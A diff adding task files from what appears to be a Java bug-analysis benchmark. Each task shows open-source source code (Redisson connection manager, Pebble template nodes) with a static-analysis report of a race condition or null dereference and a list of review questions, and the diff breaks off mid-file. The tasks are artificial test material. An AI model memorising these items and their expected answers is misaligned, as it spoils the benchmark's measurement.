+**Bug ID:** 3
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/**
+ * Copyright 2014 Nikita Koksharov, Nickolay Borbit
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *    http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.redisson.connection;
+
+import java.net.InetSocketAddress;
+import java.util.Collection;
+import java.util.Collections;
+import java.util.HashSet;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.Set;
+import java.util.concurrent.ConcurrentMap;
+import java.util.concurrent.TimeUnit;
+
+import org.redisson.Config;
+import org.redisson.MasterSlaveServersConfig;
+import org.redisson.client.BaseRedisPubSubListener;
+import org.redisson.client.RedisClient;
+import org.redisson.client.RedisConnection;
+import org.redisson.client.RedisNodeNotFoundException;
+import org.redisson.client.RedisPubSubConnection;
+import org.redisson.client.RedisPubSubListener;
+import org.redisson.client.codec.Codec;
+import org.redisson.client.protocol.RedisCommand;
+import org.redisson.client.protocol.pubsub.PubSubType;
+import org.redisson.cluster.ClusterSlotRange;
+import org.redisson.misc.InfinitySemaphoreLatch;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+
+import io.netty.channel.EventLoopGroup;
+import io.netty.channel.epoll.EpollEventLoopGroup;
+import io.netty.channel.epoll.EpollSocketChannel;
+import io.netty.channel.nio.NioEventLoopGroup;
+import io.netty.channel.socket.SocketChannel;
+import io.netty.channel.socket.nio.NioSocketChannel;
+import io.netty.util.HashedWheelTimer;
+import io.netty.util.Timeout;
+import io.netty.util.TimerTask;
+import io.netty.util.concurrent.Future;
+import io.netty.util.concurrent.FutureListener;
+import io.netty.util.concurrent.Promise;
+import io.netty.util.internal.PlatformDependent;
+
+/**
+ *
+ * @author Nikita Koksharov
+ *
+ */
+public class MasterSlaveConnectionManager implements ConnectionManager {
+
+    protected static final int MAX_SLOT = 16384;
+
+    protected final ClusterSlotRange singleSlotRange = new ClusterSlotRange(0, MAX_SLOT);
+
+    private final Logger log = LoggerFactory.getLogger(getClass());
+
+    private HashedWheelTimer timer;
+
+    protected Codec codec;
+
+    protected EventLoopGroup group;
+
+
+    protected Class<? extends SocketChannel> socketChannelClass;
+
+    protected final ConcurrentMap<String, PubSubConnectionEntry> name2PubSubConnection = PlatformDependent.newConcurrentHashMap();
+
+    protected MasterSlaveServersConfig config;
+
+    protected final Map<ClusterSlotRange, MasterSlaveEntry> entries = PlatformDependent.newConcurrentHashMap();
+
+    private final InfinitySemaphoreLatch shutdownLatch = new InfinitySemaphoreLatch();
+
+    private final Set<RedisClientEntry> clients = Collections.newSetFromMap(PlatformDependent.<RedisClientEntry, Boolean>newConcurrentHashMap());
+
+    protected MasterSlaveConnectionManager() {
+    }
+
+    @Override
+    public HashedWheelTimer getTimer() {
+        return timer;
+    }
+
+    @Override
+    public MasterSlaveServersConfig getConfig() {
+        return config;
+    }
+
+    @Override
+    public Codec getCodec() {
+        return codec;
+    }
+
+    @Override
+    public Map<ClusterSlotRange, MasterSlaveEntry> getEntries() {
+        return entries;
+    }
+
+    public MasterSlaveConnectionManager(MasterSlaveServersConfig cfg, Config config) {
+        init(cfg, config);
+    }
+
+    protected void init(MasterSlaveServersConfig config, Config cfg) {
+        init(cfg);
+        init(config);
+    }
+
+    protected void init(MasterSlaveServersConfig config) {
+        this.config = config;
+
+        int minTimeout = Math.min(config.getRetryInterval(), config.getTimeout());
+        if (minTimeout % 100 != 0) {
+            timer = new HashedWheelTimer((minTimeout % 100) / 2, TimeUnit.MILLISECONDS);
+        } else {
+            timer = new HashedWheelTimer(100, TimeUnit.MILLISECONDS);
+        }
+
+        initEntry(config);
+    }
+
+    protected void initEntry(MasterSlaveServersConfig config) {
+        HashSet<ClusterSlotRange> slots = new HashSet<ClusterSlotRange>();
+        slots.add(singleSlotRange);
+        MasterSlaveEntry entry = new MasterSlaveEntry(slots, this, config);
+        entry.setupMasterEntry(config.getMasterAddress().getHost(), config.getMasterAddress().getPort());
+        addEntry(singleSlotRange, entry);
+    }
+
+    protected void init(Config cfg) {
+        if (cfg.isUseLinuxNativeEpoll()) {
+            this.group = new EpollEventLoopGroup(cfg.getThreads());
+            this.socketChannelClass = EpollSocketChannel.class;
+        } else {
+            this.group = new NioEventLoopGroup(cfg.getThreads());
+            this.socketChannelClass = NioSocketChannel.class;
+        }
+        this.codec = cfg.getCodec();
+    }
+
+    @Override
+    public RedisClient createClient(String host, int port) {
+        RedisClient client = createClient(host, port, config.getTimeout());
+        clients.add(new RedisClientEntry(client));
+        return client;
+    }
+
+    public void shutdownAsync(RedisClient client) {
+        clients.remove(new RedisClientEntry(client));
+        client.shutdownAsync();
+    }
+
+    @Override
+    public RedisClient createClient(String host, int port, int timeout) {
+        return new RedisClient(group, socketChannelClass, host, port, timeout);
+    }
+
+    @Override
+    public <T> FutureListener<T> createReleaseWriteListener(final NodeSource source,
+                                    final RedisConnection conn, final Timeout timeout) {
+        return new FutureListener<T>() {
+            @Override
+            public void operationComplete(io.netty.util.concurrent.Future<T> future) throws Exception {
+                if (!future.isSuccess()) {
+                    conn.incFailAttempt();
+                } else {
+                    conn.resetFailAttempt();
+                }
+
+                shutdownLatch.release();
+                timeout.cancel();
+                releaseWrite(source, conn);
+            }
+        };
+    }
+
+    @Override
+    public <T> FutureListener<T> createReleaseReadListener(final NodeSource source,
+                                    final RedisConnection conn, final Timeout timeout) {
+        return new FutureListener<T>() {
+            @Override
+            public void operationComplete(io.netty.util.concurrent.Future<T> future) throws Exception {
+                if (!future.isSuccess()) {
+                    conn.incFailAttempt();
+                } else {
+                    conn.resetFailAttempt();
+                }
+
+                shutdownLatch.release();
+                timeout.cancel();
+                releaseRead(source, conn);
+            }
+        };
+    }
+
+    @Override
+    public int calcSlot(String key) {
+        return 0;
+    }
+
+    @Override
+    public PubSubConnectionEntry getPubSubEntry(String channelName) {
+        return name2PubSubConnection.get(channelName);
+    }
+
+    public Future<PubSubConnectionEntry> subscribe(String channelName, Codec codec) {
+        Promise<PubSubConnectionEntry> promise = group.next().newPromise();
+        subscribe(channelName, codec, promise);
+        return promise;
+    }
+
+    private void subscribe(final String channelName, final Codec codec, final Promise<PubSubConnectionEntry> promise) {
+        // multiple channel names per PubSubConnections allowed
+        PubSubConnectionEntry сonnEntry = name2PubSubConnection.get(channelName);
+        if (сonnEntry != null) {
+            promise.setSuccess(сonnEntry);
+            return;
+        }
+
+        Set<PubSubConnectionEntry> entries = new HashSet<PubSubConnectionEntry>(name2PubSubConnection.values());
+        for (PubSubConnectionEntry entry : entries) {
+            if (entry.tryAcquire()) {
+                PubSubConnectionEntry oldEntry = name2PubSubConnection.putIfAbsent(channelName, entry);
+                if (oldEntry != null) {
+                    entry.release();
+                    promise.setSuccess(oldEntry);
+                    return;
+                }
+
+                synchronized (entry) {
+                    if (!entry.isActive()) {
+                        entry.release();
+                        subscribe(channelName, codec, promise);
+                        return;
+                    }
+                    entry.subscribe(codec, channelName);
+                    promise.setSuccess(entry);
+                    return;
+                }
+            }
+        }
+
+        final int slot = 0;
+        Future<RedisPubSubConnection> connFuture = nextPubSubConnection(slot);
+        connFuture.addListener(new FutureListener<RedisPubSubConnection>() {
+            @Override
+            public void operationComplete(Future<RedisPubSubConnection> future) throws Exception {
+                if (!future.isSuccess()) {
+                    promise.setFailure(future.cause());
+                    return;
+                }
+
+                RedisPubSubConnection conn = future.getNow();
+
+                PubSubConnectionEntry entry = new PubSubConnectionEntry(conn, config.getSubscriptionsPerConnection());
+                entry.tryAcquire();
+                PubSubConnectionEntry oldEntry = name2PubSubConnection.putIfAbsent(channelName, entry);
+                if (oldEntry != null) {
+                    releaseSubscribeConnection(slot, entry);
+                    promise.setSuccess(oldEntry);
+                    return;
+                }
+
+                synchronized (entry) {
+                    if (!entry.isActive()) {
+                        entry.release();
+                        subscribe(channelName, codec, promise);
+                        return;
+                    }
+                    entry.subscribe(codec, channelName);
+                    promise.setSuccess(entry);
+                }
+            }
+        });
+    }
+
+    @Override
+    public Future<PubSubConnectionEntry> psubscribe(final String channelName, final Codec codec) {
+        Promise<PubSubConnectionEntry> promise = group.next().newPromise();
+        psubscribe(channelName, codec, promise);
+        return promise;
+    }
+
+    private void psubscribe(final String channelName, final Codec codec, final Promise<PubSubConnectionEntry> promise) {
+        // multiple channel names per PubSubConnections are allowed
+        PubSubConnectionEntry сonnEntry = name2PubSubConnection.get(channelName);
+        if (сonnEntry != null) {
+            promise.setSuccess(сonnEntry);
+            return;
+        }
+
+        Set<PubSubConnectionEntry> entries = new HashSet<PubSubConnectionEntry>(name2PubSubConnection.values());
+        for (PubSubConnectionEntry entry : entries) {
+            if (entry.tryAcquire()) {
+                PubSubConnectionEntry oldEntry = name2PubSubConnection.putIfAbsent(channelName, entry);
+                if (oldEntry != null) {
+                    entry.release();
+                    promise.setSuccess(oldEntry);
+                    return;
+                }
+
+                synchronized (entry) {
+                    if (!entry.isActive()) {
+                        entry.release();
+                        psubscribe(channelName, codec, promise);
+                        return;
+                    }
+                    entry.psubscribe(codec, channelName);
+                    promise.setSuccess(entry);
+                    return;
+                }
+            }
+        }
+
+        final int slot = 0;
+        Future<RedisPubSubConnection> connFuture = nextPubSubConnection(slot);
+        connFuture.addListener(new FutureListener<RedisPubSubConnection>() {
+            @Override
+            public void operationComplete(Future<RedisPubSubConnection> future) throws Exception {
+                if (!future.isSuccess()) {
+                    promise.setFailure(future.cause());
+                    return;
+                }
+
+                RedisPubSubConnection conn = future.getNow();
+
+                PubSubConnectionEntry entry = new PubSubConnectionEntry(conn, config.getSubscriptionsPerConnection());
+                entry.tryAcquire();
+                PubSubConnectionEntry oldEntry = name2PubSubConnection.putIfAbsent(channelName, entry);
+                if (oldEntry != null) {
+                    releaseSubscribeConnection(slot, entry);
+                    promise.setSuccess(oldEntry);
+                    return;
+                }
+
+                synchronized (entry) {
+                    if (!entry.isActive()) {
+                        entry.release();
+                        psubscribe(channelName, codec, promise);
+                        return;
+                    }
+                    entry.psubscribe(codec, channelName);
+                    promise.setSuccess(entry);
+                }
+            }
+        });
+    }
+
+    @Override
+    public void subscribe(final RedisPubSubListener listener, final String channelName) {
+        PubSubConnectionEntry сonnEntry = name2PubSubConnection.get(channelName);
+        if (сonnEntry != null) {
+            сonnEntry.subscribe(codec, listener, channelName);
+            return;
+        }
+
+        Set<PubSubConnectionEntry> entries = new HashSet<PubSubConnectionEntry>(name2PubSubConnection.values());
+        for (PubSubConnectionEntry entry : entries) {
+            if (entry.tryAcquire()) {
+                PubSubConnectionEntry oldEntry = name2PubSubConnection.putIfAbsent(channelName, entry);
+                if (oldEntry != null) {
+                    entry.release();
+                    return;
+                }
+                synchronized (entry) {
+                    if (!entry.isActive()) {
+                        entry.release();
+                        subscribe(listener, channelName);
+                        return;
+                    }
+                    entry.subscribe(codec, listener, channelName);
+                    return;
+                }
+            }
+        }
+
+        final int slot = 0;
+        Future<RedisPubSubConnection> connFuture = nextPubSubConnection(slot);
+        connFuture.syncUninterruptibly();
+        RedisPubSubConnection conn = connFuture.getNow();
+        PubSubConnectionEntry entry = new PubSubConnectionEntry(conn, config.getSubscriptionsPerConnection());
+        entry.tryAcquire();
+        PubSubConnectionEntry oldEntry = name2PubSubConnection.putIfAbsent(channelName, entry);
+        if (oldEntry != null) {
+            releaseSubscribeConnection(slot, entry);
+            return;
+        }
+        synchronized (entry) {
+            if (!entry.isActive()) {
+                entry.release();
+                subscribe(listener, channelName);
+                return;
+            }
+            entry.subscribe(codec, listener, channelName);
+            return;
+        }
+
+    }
+
+    @Override
+    public Codec unsubscribe(final String channelName) {
+        final PubSubConnectionEntry entry = name2PubSubConnection.remove(channelName);
+        if (entry == null) {
+            return null;
+        }
+
+        Codec entryCodec = entry.getConnection().getChannels().get(channelName);
+        entry.unsubscribe(channelName, new BaseRedisPubSubListener() {
+
+            @Override
+            public boolean onStatus(PubSubType type, String channel) {
+                if (type == PubSubType.UNSUBSCRIBE && channel.equals(channelName)) {
+                    synchronized (entry) {
+                        if (entry.tryClose()) {
+                            releaseSubscribeConnection(0, entry);
+                        }
+                    }
+                    return true;
+                }
+                return false;
+            }
+
+        });
+        return entryCodec;
+    }
+
+    @Override
+    public Codec punsubscribe(final String channelName) {
+        final PubSubConnectionEntry entry = name2PubSubConnection.remove(channelName);
+        if (entry == null) {
+            return null;
+        }
+
+        Codec entryCodec = entry.getConnection().getPatternChannels().get(channelName);
+        entry.punsubscribe(channelName, new BaseRedisPubSubListener() {
+
+            @Override
+            public boolean onStatus(PubSubType type, String channel) {
+                if (type == PubSubType.PUNSUBSCRIBE && channel.equals(channelName)) {
+                    synchronized (entry) {
+                        if (entry.tryClose()) {
+                            releaseSubscribeConnection(0, entry);
+                        }
+                    }
+                    return true;
+                }
+                return false;
+            }
+
+        });
+        return entryCodec;
+    }
+
+    public MasterSlaveEntry getEntry(InetSocketAddress addr) {
+        // TODO optimize
+        for (Entry<ClusterSlotRange, MasterSlaveEntry> entry : entries.entrySet()) {
+            if (entry.getValue().getClient().getAddr().equals(addr)) {
+                return entry.getValue();
+            }
+        }
+        return null;
+    }
+
+    protected MasterSlaveEntry getEntry(ClusterSlotRange slotRange) {
+        return entries.get(slotRange);
+    }
+
+    protected MasterSlaveEntry getEntry(int slot) {
+        // TODO optimize
+        for (Entry<ClusterSlotRange, MasterSlaveEntry> entry : entries.entrySet()) {
+            if (entry.getKey().isOwn(slot)) {
+                return entry.getValue();
+            }
+        }
+        return null;
+    }
+
+    protected void slaveDown(ClusterSlotRange slotRange, String host, int port) {
+        Collection<RedisPubSubConnection> allPubSubConnections = getEntry(slotRange).slaveDown(host, port);
+
+        // reattach listeners to other channels
+        for (Entry<String, PubSubConnectionEntry> mapEntry : name2PubSubConnection.entrySet()) {
+            for (RedisPubSubConnection redisPubSubConnection : allPubSubConnections) {
+                PubSubConnectionEntry entry = mapEntry.getValue();
+                final String channelName = mapEntry.getKey();
+
+                if (!entry.getConnection().equals(redisPubSubConnection)) {
+                    continue;
+                }
+
+                synchronized (entry) {
+                    entry.close();
+
+                    final Collection<RedisPubSubListener> listeners = entry.getListeners(channelName);
+                    if (entry.getConnection().getPatternChannels().get(channelName) != null) {
+                        Codec subscribeCodec = punsubscribe(channelName);
+                        if (!listeners.isEmpty()) {
+                            Future<PubSubConnectionEntry> future = psubscribe(channelName, subscribeCodec);
+                            future.addListener(new FutureListener<PubSubConnectionEntry>() {
+                                @Override
+                                public void operationComplete(Future<PubSubConnectionEntry> future)
+                                        throws Exception {
+                                    PubSubConnectionEntry newEntry = future.getNow();
+                                    for (RedisPubSubListener redisPubSubListener : listeners) {
+                                        newEntry.addListener(channelName, redisPubSubListener);
+                                    }
+                                    log.debug("resubscribed listeners for '{}' channel-pattern", channelName);
+                                }
+                            });
+                        }
+                    } else {
+                        Codec subscribeCodec = unsubscribe(channelName);
+                        if (!listeners.isEmpty()) {
+                            Future<PubSubConnectionEntry> future = subscribe(channelName, subscribeCodec);
+                            future.addListener(new FutureListener<PubSubConnectionEntry>() {
+
+                                @Override
+                                public void operationComplete(Future<PubSubConnectionEntry> future)
+                                        throws Exception {
+                                    PubSubConnectionEntry newEntry = future.getNow();
+                                    for (RedisPubSubListener redisPubSubListener : listeners) {
+                                        newEntry.addListener(channelName, redisPubSubListener);
+                                    }
+                                    log.debug("resubscribed listeners for '{}' channel", channelName);
+                                }
+                            });
+                        }
+                    }
+                }
+            }
+        }
+    }
+
+    protected void changeMaster(ClusterSlotRange slotRange, String host, int port) {
+        getEntry(slotRange).changeMaster(host, port);
+    }
+
+    protected void addEntry(ClusterSlotRange slotRange, MasterSlaveEntry entry) {
+        entries.put(slotRange, entry);
+    }
+
+    protected MasterSlaveEntry removeMaster(ClusterSlotRange slotRange) {
+        return entries.remove(slotRange);
+    }
+
+    @Override
+    public Future<RedisConnection> connectionWriteOp(NodeSource source, RedisCommand<?> command) {
+        MasterSlaveEntry e = getEntry(source, command);
+        return e.connectionWriteOp();
+    }
+
+    private MasterSlaveEntry getEntry(NodeSource source) {
+        MasterSlaveEntry e = null;
+        if (source.getSlot() != null) {
+            e = getEntry(source.getSlot());
+            if (e == null) {
+                throw new RedisNodeNotFoundException("No node with slot: " + source.getSlot());
+            }
+        } else {
+            e = getEntry(source.getAddr());
+            if (e == null) {
+                throw new RedisNodeNotFoundException("No node with addr: " + source.getAddr());
+            }
+        }
+        return e;
+    }
+
+    private MasterSlaveEntry getEntry(NodeSource source, RedisCommand<?> command) {
+        MasterSlaveEntry e = null;
+        if (source.getSlot() != null) {
+            e = getEntry(source.getSlot());
+            if (e == null) {
+                throw new RedisNodeNotFoundException("No node for slot: " + source.getSlot() + " and command " + command);
+            }
+        } else {
+            e = getEntry(source.getAddr());
+            if (e == null) {
+                throw new RedisNodeNotFoundException("No node for addr: " + source.getAddr() + " and command " + command);
+            }
+        }
+        return e;
+    }
+
+    @Override
+    public Future<RedisConnection> connectionReadOp(NodeSource source, RedisCommand<?> command) {
+        MasterSlaveEntry e = getEntry(source, command);
+        return e.connectionReadOp();
+    }
+
+    @Override
+    public Future<RedisConnection> connectionReadOp(NodeSource source, RedisCommand<?> command, RedisClient client) {
+        MasterSlaveEntry e = getEntry(source, command);
+        return e.connectionReadOp(client);
+    }
+
+    Future<RedisPubSubConnection> nextPubSubConnection(int slot) {
+        return getEntry(slot).nextPubSubConnection();
+    }
+
+    protected void releaseSubscribeConnection(int slot, PubSubConnectionEntry entry) {
+        this.getEntry(slot).returnSubscribeConnection(entry);
+    }
+
+    @Override
+    public void releaseWrite(NodeSource source, RedisConnection connection) {
+        getEntry(source).releaseWrite(connection);
+    }
+
+    @Override
+    public void releaseRead(NodeSource source, RedisConnection connection) {
+        getEntry(source).releaseRead(connection);
+    }
+
+    @Override
+    public void shutdown() {
+        shutdownLatch.closeAndAwaitUninterruptibly();
+        for (MasterSlaveEntry entry : entries.values()) {
+            entry.shutdown();
+        }
+        timer.stop();
+        group.shutdownGracefully().syncUninterruptibly();
+    }
+
+    public Collection<RedisClientEntry> getClients() {
+        return Collections.unmodifiableCollection(clients);
+    }
+
+    @Override
+    public <R> Promise<R> newPromise() {
+        return group.next().newPromise();
+    }
+
+    @Override
+    public EventLoopGroup getGroup() {
+        return group;
+    }
+
+    @Override
+    public Timeout newTimeout(TimerTask task, long delay, TimeUnit unit) {
+        return timer.newTimeout(task, delay, unit);
+    }
+
+    public InfinitySemaphoreLatch getShutdownLatch() {
+        return shutdownLatch;
+    }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+THREAD_SAFETY_VIOLATION
+
+### Qualifier:
+Read/Write race. Non-private method `org.redisson.connection.MasterSlaveConnectionManager.slaveDown` indirectly reads without synchronization from `n$3.org.redisson.connection.MasterSlaveEntry.masterEntry`. Potentially races with write in method `MasterSlaveConnectionManager.changeMaster(...)`.
+ Reporting because this access may occur on a background thread.
+
+Note that the prefix path n$3 has been contaminated during the execution, so the reported race on n$3.org.redisson.connection.MasterSlaveEntry.masterEntry might be a false positive.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void MasterSlaveConnectionManager.slaveDown(ClusterSlotRange,String,int)
+
+### Procedure Id:
+org.redisson.connection.MasterSlaveConnectionManager.slaveDown(org.redisson.cluster.ClusterSlotRange.ed9cf6999cf4cbc1ca24baed3028ec2b
+
+### File:
+src/main/java/org/redisson/connection/MasterSlaveConnectionManager.java
+
+### Key:
+MasterSlaveConnectionManager.java|slaveDown|THREAD_SAFETY_VIOLATION
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+95c2abbd1c130a70ea932bf7abdff449
+
+### Bug Type Hum:
+Thread Safety Violation
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-5026/instruction.md b/inferredbugs-5026/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..0510b631d10c31f1b3bd1c88c79164b0ed61c182
--- /dev/null
+++ b/inferredbugs-5026/instruction.md
@@ -0,0 +1,299 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** pebble
+**Bug ID:** 3
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*******************************************************************************
+ * This file is part of Pebble.
+ * <p>
+ * Copyright (c) 2014 by Mitchell Bösecke
+ * <p>
+ * For the full copyright and license information, please view the LICENSE
+ * file that was distributed with this source code.
+ ******************************************************************************/
+package com.mitchellbosecke.pebble.node;
+
+import com.mitchellbosecke.pebble.error.PebbleException;
+import com.mitchellbosecke.pebble.extension.NodeVisitor;
+import com.mitchellbosecke.pebble.node.expression.Expression;
+import com.mitchellbosecke.pebble.template.EvaluationContext;
+import com.mitchellbosecke.pebble.template.PebbleTemplateImpl;
+import com.mitchellbosecke.pebble.template.ScopeChain;
+
+import java.io.IOException;
+import java.io.Writer;
+import java.lang.reflect.Array;
+import java.util.*;
+
+/**
+ * Represents a "for" loop within the template.
+ *
+ * @author mbosecke
+ */
+public class ForNode extends AbstractRenderableNode {
+
+    private final String variableName;
+
+    private final Expression<?> iterableExpression;
+
+    private final BodyNode body;
+
+    private final BodyNode elseBody;
+
+    public ForNode(int lineNumber, String variableName, Expression<?> iterableExpression, BodyNode body,
+            BodyNode elseBody) {
+        super(lineNumber);
+        this.variableName = variableName;
+        this.iterableExpression = iterableExpression;
+        this.body = body;
+        this.elseBody = elseBody;
+    }
+
+    @Override
+    public void render(PebbleTemplateImpl self, Writer writer, EvaluationContext context)
+            throws PebbleException, IOException {
+        Object iterableEvaluation = iterableExpression.evaluate(self, context);
+        Iterable<?> iterable = null;
+
+        if (iterableEvaluation == null) {
+            return;
+        }
+
+        iterable = toIterable(iterableEvaluation);
+
+        Iterator<?> iterator = iterable.iterator();
+
+        boolean newScope = false;
+
+        if (iterator.hasNext()) {
+
+            ScopeChain scopeChain = context.getScopeChain();
+
+            /*
+             * Only if there is a variable name conflict between one of the
+             * variables added by the for loop construct and an existing
+             * variable do we push another scope, otherwise we reuse the current
+             * scope for performance purposes.
+             */
+            if (scopeChain.currentScopeContainsVariable("loop") || scopeChain
+                    .currentScopeContainsVariable(variableName)) {
+                scopeChain.pushScope();
+                newScope = true;
+            }
+
+            int length = getIteratorSize(iterableEvaluation);
+            int index = 0;
+
+            Map<String, Object> loop = null;
+
+            boolean usingExecutorService = context.getExecutorService() != null;
+
+            while (iterator.hasNext()) {
+
+                /*
+                 * If the user is using an executor service (i.e. parallel node), we
+                 * must create a new map with every iteration instead of
+                 * re-using the same one; it's imperative that each thread would
+                 * get it's own distinct copy of the context.
+                 */
+                if (index == 0 || usingExecutorService) {
+                    loop = new HashMap<>();
+                    loop.put("first", index == 0);
+                    loop.put("last", index == length - 1);
+                    loop.put("length", length);
+                }else{
+
+                    // second iteration
+                    if(index == 1){
+                        loop.put("first", false);
+                    }
+
+                    // last iteration
+                    if(index == length - 1){
+                        loop.put("last", true);
+                    }
+                }
+
+                loop.put("revindex", length - index - 1);
+                loop.put("index", index++);
+
+                scopeChain.put("loop", loop);
+
+                scopeChain.put(variableName, iterator.next());
+                body.render(self, writer, context);
+            }
+
+            if (newScope) {
+                scopeChain.popScope();
+            }
+
+        } else if (elseBody != null) {
+            elseBody.render(self, writer, context);
+        }
+
+    }
+
+    @Override
+    public void accept(NodeVisitor visitor) {
+        visitor.visit(this);
+    }
+
+    public String getIterationVariable() {
+        return variableName;
+    }
+
+    public Expression<?> getIterable() {
+        return iterableExpression;
+    }
+
+    public BodyNode getBody() {
+        return body;
+    }
+
+    public BodyNode getElseBody() {
+        return elseBody;
+    }
+
+    @SuppressWarnings({ "unchecked", "rawtypes" })
+    private Iterable<Object> toIterable(final Object obj) {
+
+        Iterable<Object> result = null;
+
+        if (obj instanceof Iterable<?>) {
+
+            result = (Iterable<Object>) obj;
+
+        } else if (obj instanceof Map) {
+
+            // raw type
+            result = ((Map) obj).entrySet();
+
+        } else if (obj.getClass().isArray()) {
+
+            if (Array.getLength(obj) == 0) {
+                return new ArrayList<>(0);
+            }
+
+            result = new Iterable<Object>() {
+
+                @Override
+                public Iterator<Object> iterator() {
+                    return new Iterator<Object>() {
+
+                        private int index = 0;
+
+                        private final int length = Array.getLength(obj);
+
+                        @Override
+                        public boolean hasNext() {
+                            return index < length;
+                        }
+
+                        @Override
+                        public Object next() {
+                            return Array.get(obj, index++);
+                        }
+
+                        @Override
+                        public void remove() {
+                            throw new UnsupportedOperationException();
+                        }
+                    };
+                }
+            };
+        }
+
+        return result;
+    }
+
+    private int getIteratorSize(Object iterable) {
+        if (iterable == null) {
+            return 0;
+        }
+        if (iterable instanceof Collection) {
+            return ((Collection<?>) iterable).size();
+        } else if (iterable instanceof Map) {
+            return ((Map<?, ?>) iterable).size();
+        } else if (iterable.getClass().isArray()) {
+            return Array.getLength(iterable);
+        }
+
+        // assumed to be of type Iterator
+        Iterator<?> it = ((Iterable<?>) iterable).iterator();
+        int size = 0;
+        while (it.hasNext()) {
+            size++;
+            it.next();
+        }
+        return size;
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object `iterable` last assigned on line 57 could be null and is dereferenced at line 59.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void ForNode.render(PebbleTemplateImpl,Writer,EvaluationContext)
+
+### Procedure Id:
+com.mitchellbosecke.pebble.node.ForNode.render(com.mitchellbosecke.pebble.template.PebbleTemplateImp.0e828d2dd56fd0d735a7a1a6e93aee82
+
+### File:
+src/main/java/com/mitchellbosecke/pebble/node/ForNode.java
+
+### Key:
+ForNode.java|render|NULL_DEREFERENCE
+
+### Node Key:
+24ee14a57e8a90ab88fc833015223ecd
+
+### Hash:
+2893d3ab45c94a5c67d3902528bc53cb
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-5027/instruction.md b/inferredbugs-5027/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..37e5e2deb6a65be933feaeb343a34c28078b4188
--- /dev/null
+++ b/inferredbugs-5027/instruction.md
@@ -0,0 +1,362 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** pebble
+**Bug ID:** 2
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*******************************************************************************
+ * This file is part of Pebble.
+ * 
+ * Copyright (c) 2014 by Mitchell Bösecke
+ * 
+ * For the full copyright and license information, please view the LICENSE
+ * file that was distributed with this source code.
+ ******************************************************************************/
+package com.mitchellbosecke.pebble.node.expression;
+
+import java.lang.reflect.AccessibleObject;
+import java.lang.reflect.Field;
+import java.lang.reflect.InvocationTargetException;
+import java.lang.reflect.Member;
+import java.lang.reflect.Method;
+import java.util.List;
+import java.util.Map;
+import java.util.concurrent.ConcurrentHashMap;
+
+import com.mitchellbosecke.pebble.error.AttributeNotFoundException;
+import com.mitchellbosecke.pebble.error.PebbleException;
+import com.mitchellbosecke.pebble.extension.NodeVisitor;
+import com.mitchellbosecke.pebble.node.ArgumentsNode;
+import com.mitchellbosecke.pebble.node.PositionalArgumentNode;
+import com.mitchellbosecke.pebble.template.EvaluationContext;
+import com.mitchellbosecke.pebble.template.PebbleTemplateImpl;
+
+/**
+ * Used to get an attribute from an object. It will look up attributes in the
+ * following order: map entry, get method, is method, has method, public method,
+ * public field.
+ * 
+ * @author Mitchell
+ * 
+ */
+public class GetAttributeExpression implements Expression<Object> {
+
+    private final Expression<?> node;
+
+    private final String attributeName;
+
+    private final ArgumentsNode args;
+
+    /**
+     * Potentially cached on first evaluation.
+     */
+    private final ConcurrentHashMap<Class<?>, Member> memberCache;
+
+    public GetAttributeExpression(Expression<?> node, String attributeName) {
+        this(node, attributeName, null);
+    }
+
+    public GetAttributeExpression(Expression<?> node, String attributeName, ArgumentsNode args) {
+        this.node = node;
+        this.attributeName = attributeName;
+        this.args = args;
+
+        /*
+         * I dont imagine that users will often give different types to the same
+         * template so we will give this cache a pretty small initial capacity.
+         */
+        this.memberCache = new ConcurrentHashMap<>(2, 0.9f, 1);
+    }
+
+    @Override
+    public Object evaluate(PebbleTemplateImpl self, EvaluationContext context) throws PebbleException {
